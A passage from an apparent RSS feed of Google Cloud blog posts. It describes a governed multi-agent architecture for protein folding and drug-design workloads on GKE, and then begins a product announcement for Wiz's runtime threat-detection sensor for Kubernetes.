&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;The execution layer is responsible for the heavy scientific computations. The first architectural decision is determining where workloads should run:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Strategic, proprietary pipelines require dedicated GPU infrastructure within your security perimeter&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Routine or standardized workloads can safely be delegated to managed cloud endpoints&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;In this architecture, protein folding is driven by &lt;/span&gt;&lt;a href="https://catalog.ngc.nvidia.com/orgs/nvidia/teams/nim/collections/bionemo-esmfold" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ESMFold&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and generative design by &lt;/span&gt;&lt;a href="https://docs.nvidia.com/nim/bionemo/genmol/latest/overview.html" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;GenMol&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Both run as &lt;/span&gt;&lt;a href="https://www.nvidia.com/en-us/ai-data-science/products/nim-microservices/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;NVIDIA Inference Microservices&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; or NIMs deployed on &lt;/span&gt;&lt;a href="https://cloud.google.com/kubernetes-engine?hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Kubernetes Engine&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (GKE) using G4 VMs backed by &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/compute/introducing-g4-vm-with-nvidia-rtx-pro-6000"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;NVIDIA RTX PRO 6000 Blackwell&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; GPUs.&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;A critical hurdle in containerized GPU workloads is the cold-start penalty, the latency delay required to pull multi-gigabyte model weights from an image registry and stage them into GPU memory (VRAM).&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;To ensure low latency responsiveness, we build the following as a recommendation into the reference architecture:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Maintain warm pools:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Pin the GKE node pool to a minimum of one active node.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Preload weights:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Model weights are loaded directly into VRAM at pod initialization, ensuring containers are immediately ready for inference.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Resilient scheduling:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; GKE manages pod lifecycles and restarts failed instances without tearing down the underlying VM infrastructure. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;This approach trades custom, manual CUDA kernel tuning for NVIDIA's pre-compiled, containerized runtimes, dramatically reducing infrastructure engineering overhead while ensuring deterministic throughput.&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;In biotech, chemical structures represent millions of dollars in proprietary IP. A docking request transmits SMILE strings or 3D coordinate matrices that must never leave company custody.&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Containerized NIMs eliminate the friction between rapid prototyping and rigorous data isolation. During early exploration, researchers can query NVIDIA hosted endpoints. When transitioning to proprietary lead candidates, the exact same container is deployed to GKE inside a private &lt;/span&gt;&lt;a href="https://cloud.google.com/vpc?hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;VPC&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. The agent’s orchestration logic remains identical; only the target URI updates from an external proxy to an internal VPC endpoint. No structural data leaves the enterprise perimeter.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;The cognitive layer: Multi-agent reasoning&lt;/span&gt;&lt;/h4&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;With compute execution isolated, the cognitive layer manages agentic workflow sequencing. Built on &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/build/runtime"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agent Runtime&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, within the Gemini platform, this reference architecture shows a system that deploys a hierarchical multi-agent structure, one lead orchestrator, and two specialized domain sub-agents (Lead Optimization and Safety Screening) . The multi-agent design can be modified to suit the use case at hand. &lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Based on this design, when an end-user submits a high-level task such as &lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;“ Analyze Candidate 4b against Target X and produce a SAR report”&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;, the system applies four core orchestration patterns discussed below; &lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li role="presentation" style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;In-process native agent handoffs: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;The lead orchestrator delegates tasks to specialist sub-agents using Agent Runtime’s native SDK rather than network-serialized agent-to-agent HTTP protocols. This eliminates intermediate network hops and keeps internal handoffs instantaneous. Only the outermost boundary communicates outward to user-facing surfaces like the &lt;/span&gt;&lt;a href="https://cloud.google.com/gemini-enterprise?utm_source=google&amp;amp;utm_medium=cpc&amp;amp;utm_campaign=1713762-Gemini_Enterprise-DR-NA-US-en-Google-BKWS-EXA-GEnterprise&amp;amp;utm_content=c-Hybrid+%7C+BKWS+-+MIX+%7C+Txt_Gemini+Enterprise-189528400785&amp;amp;utm_term=gemini+enterprise&amp;amp;gclsrc=aw.ds&amp;amp;gad_source=1&amp;amp;gad_campaignid=23370621055&amp;amp;gclid=CjwKCAjwl97RBhBWEiwAa9rbXeetAjZcIRGcaAR57VWVWk7ik5DJ9ESqHiDav-2ervoiyzzRZ1ZWyRoCj6sQAvD_BwE&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; agent.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation" style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Passing bulky payloads by reference: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;LLMs degrade quickly when forced to ingest massive arrays of 3D spatial coordinates. In this architecture, raw structural data (PDB files, docking poses, trajectory logs) is written directly to &lt;/span&gt;&lt;a href="https://cloud.google.com/storage?utm_source=google&amp;amp;utm_medium=cpc&amp;amp;utm_campaign=Cloud-SS-DR-GCP-1713658-GCP-DR-NA-US-en-Google-SKWS-BRO-storage&amp;amp;utm_content=c-Hybrid+%7C+SKWS+-+BRO+%7C+Txt-Infrastructure-Storage-Cloud+Storage-4642545472&amp;amp;utm_term=cloud+storage&amp;amp;gclsrc=aw.ds&amp;amp;gad_source=1&amp;amp;gad_campaignid=23767162264&amp;amp;gclid=CjwKCAjwl97RBhBWEiwAa9rbXYcqs8qBJehBeWaezdgKd4am7QbV7uo3__CJIZqoa8lqgP8ErM0LkBoCJ3cQAvD_BwE&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Storage&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Agents pass lightweight, signed object URIs and high-level structural summaries, keeping context windows compact and inference costs down.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation" style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Decoupling workflow logic from biochemical reasoning: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;General-purpose LLMs excel at task planning and synthesis, but are prone to hallucinating biochemical nuances. To control this behavior, this architecture maintains strong separation of concerns, namely, workflow and tasks decomposition are handled by Gemini. Domain chemistry and pharmacological reasoning are handled by specialized &lt;/span&gt;&lt;a href="https://www.nvidia.com/en-us/ai-data-science/foundation-models/nemotron/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Nemotron&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; models hosted on dedicated GPU nodes. &lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation" style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Context-driven evaluation over rigid cutoffs: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Traditional computational screening enforces arbitrary numerical cutoffs (e.g., discard if binding affinity ,-7.5 kcal/mol) However, therapeutic context fundamentally alters risk tolerance. Preventive cardiovascular therapy taken daily by healthy patients requires extremely strict safety margins, or a novel oncology candidate targeting an intractable cancer may accept higher toxicity if efficacy is demonstrated.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;By passing disease context directly into the specialized reasoning models, drug candidates are evaluated against dynamic, target-specific profiles rather than static thresholds, preventing the premature culling of viable drug leads.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Performance best practices for high-compute pipelines&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Optimizing an agentic system that interfaces with heavy GPU compute requires challenging common engineering instincts:&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline;"&gt;Common Assumption&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline;"&gt;Architectural Reality&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline;"&gt;Recommended Best Practice&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"Swap in a faster driver model to cut latency."&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The primary orchestrator's token generation is rarely the bottleneck in multi-step R&amp;amp;D pipelines.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Optimize I/O, not token speed: Focus on reducing payload sizes and intermediate network hops rather than compromising orchestrator reasoning depth.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"Parallelize tool calls across workers."&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;External scientific services and containerized models often serialize requests internally on dedicated hardware.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Respect execution topology: Align client-side concurrency with backend queue mechanics to prevent pipeline lockouts and connection timeouts.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"Pass full simulation states between tools."&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Large JSON bodies cause schema validation failures, prompt truncation, and token bloat.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Pass heavy payloads by reference: Store raw coordinates in object storage and pass lightweight URIs between agent boundaries.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"Return outputs only when the pipeline finishes."&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Long multi-minute runs leave scientists blind to whether jobs are proceeding or stalled.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Stream intermediate stage completions: Emit progress updates at each completed milestone (e.g., &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;folding complete&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;docking running&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;) for real-time visibility.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;"Chain multiple granular micro-tools."&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Deep tool-chains increase the probability of hallucinated arguments and schema mismatches.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Collapse compute pipelines: Wrap end-to-end simulation pipelines behind a single, clean tool interface that takes clear parameters and returns a consolidated object.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;The enterprise governance and asymmetric autonomy&lt;/span&gt;&lt;/h4&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Deploying high-compute agents in enterprise environments requires robust data sovereignty, audit trails, and process control. The &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/introducing-gemini-enterprise-agent-platform"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini platform&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; establishes these safeguards natively with the following components: &lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;a href="https://docs.cloud.google.com/iam/docs/agent-identity-overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agent Identity&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;: Every autonomous agent operates with a cryptographically verifiable identity. Thus, for a biotech use case, when a candidate molecule is advanced or rejected, the event is permanently logged to that specific agent principal. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/govern/gateways/agent-gateway-overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agent Gateway&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;: This serves the single ingress/egress point for every interaction within the perimeter. Centralized IAM and regional residency rules help ensure sensitive molecular data remains within designated cloud regions. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/govern/agent-registry"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agent Registry&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;: This feature maintains a curated catalog of approved agents, validated tool schemas, and authorized Model Context Protocol (MCP) servers, preventing rogue tools from executing in production. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;a href="https://cloud.google.com/security/products/model-armor?hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Model Armor&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;: This functionality inspects incoming prompts and outgoing payloads in real time to prevent prompt injection and data exfiltration. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;The payoff is clear. Identity, RBAC, auditing, residency, and data protection are native properties of the Gemini platform; this allows enterprise customers to focus on science rather than having to build a compliance stack for every project. &lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;In high-stakes research and development, full autonomy introduces unacceptable liability, while requiring approval for trivial steps can create frictions. The solution addressing this to use asymmetric gating in the following ways;&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Automate reversible operations:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; For example, allow the agent to resolve chemical naming synonyms, pull structural PDBs, and run preliminary Lipinski screens autonomously without interrupting the researcher.&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Gate irreversible operations:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; For instance, initiating multi-GPU docking run, advancing a lead compound to wet-lab synthesis, or archiving a therapeutic program must require explicit human sign-off.&lt;/span&gt;&lt;/p&gt;
&lt;h3 style="text-align: justify;"&gt;&lt;strong style="vertical-align: baseline;"&gt;The pattern, and the path forward&lt;/strong&gt;&lt;/h3&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;High-compute autonomous agents succeed when the boundaries between cognitive planning, numerical computation, and system governance are clean in the following ways:&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Keep the orchestrator focused on decomposition and synthesis, leaving intensive biophysical simulation to specialized, containerized microservices and models.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Eliminate context bloat by passing complex chemical data by reference through cloud storage.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation" style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Anchor the workflow in enterprise governance, pairing cryptographic agent identity with asymmetric human oversight.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;As generative and structural biology models expand toward whole-cell modeling and complex dynamic simulations, this decoupled architecture ensures research systems scale efficiently while keeping proprietary IP secure and auditable.&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;Reach out to your Google sales representative if you have any requirements to build a use case like this and we will be happy to talk and support you in your agent development journey on Google Cloud.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 16 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/healthcare-life-sciences/architecting-scalable-agentic-biotech-workloads/</guid><category>AI &amp; Machine Learning</category><category>AI infrastructure</category><category>HPC</category><category>Customers</category><category>Healthcare &amp; Life Sciences</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Architecting autonomy: A design pattern for high-compute, governed agents in biotech</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/healthcare-life-sciences/architecting-scalable-agentic-biotech-workloads/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Schneider Larbi</name><title>Sr. Manager, Global Partner Technical Architecture</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Chelsie Czop</name><title>Sr. Product Manager, AI Infrastructure</title><department></department><company></company></author></item><item><title>Announcing Wiz Runtime Sensor add-on for GKE: Turnkey threat detection for Kubernetes</title><link>https://cloud.google.com/blog/products/identity-security/wiz-sensor-for-gke-turnkey-threat-detection-for-kubernetes/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Everything is moving faster in the age of AI, and that includes security threats. What used to take attackers weeks to exploit can now happen in just a few minutes.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Standard vulnerability scans that run on artifacts at rest can catch basic setup issues, but to detect an attack that's actively happening you need real-time runtime protection.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Today, we’re introducing the&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/kubernetes-engine/security/install-wiz-sensor-addon"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Wiz Runtime Sensor add-on for Google Kubernetes Engine&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (GKE), in preview. This built-in integration brings low-touch deployment, automated lifecycle management, enterprise credential security, and fleet-wide governance to Wiz's industry-leading eBPF runtime threat detection for both Standard and Autopilot GKE clusters.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;The operational friction of runtime security&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Security and platform engineering teams share common dilemmas when deploying in-cluster runtime defenses:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Deployment and lifecycle friction&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Deploying runtime agents often requires managing installations from third-party sources across dozens or hundreds of clusters.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Credential sprawl and security risks&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Passing and rotating API keys as Kubernetes Secrets introduces administrative overhead and security risk.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Fleet-wide enforcement gaps&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Platform teams lack built-in policy controls to enforce that every new cluster has runtime sensors enabled before workloads are deployed and start receiving traffic.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Performance and operational overhead&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Without explicit and strategic resource limits, runtime agents can impact how much CPU and memory is available for your workloads and system functionality.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;With the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Wiz Runtime Sensor for GKE&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;, Google Cloud and Wiz have minimized these operational barriers. The Runtime Sensor is now available in GKE as a first-party, managed platform add-on.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Bridging the gap with Wiz Runtime Sensor for GKE&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The Wiz Runtime Sensor for GKE connects central security and platform engineering workflows by simplifying and automating the sensor lifecycle.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gke_wiz_sensor_architecture_final_google_s.max-1000x1000.jpg"
        
          alt="gke_wiz_sensor_architecture_final_google_sans"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="4myyb"&gt;Figure 1: High-level architecture showing credential sync, sensor deployment, and threat telemetry.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
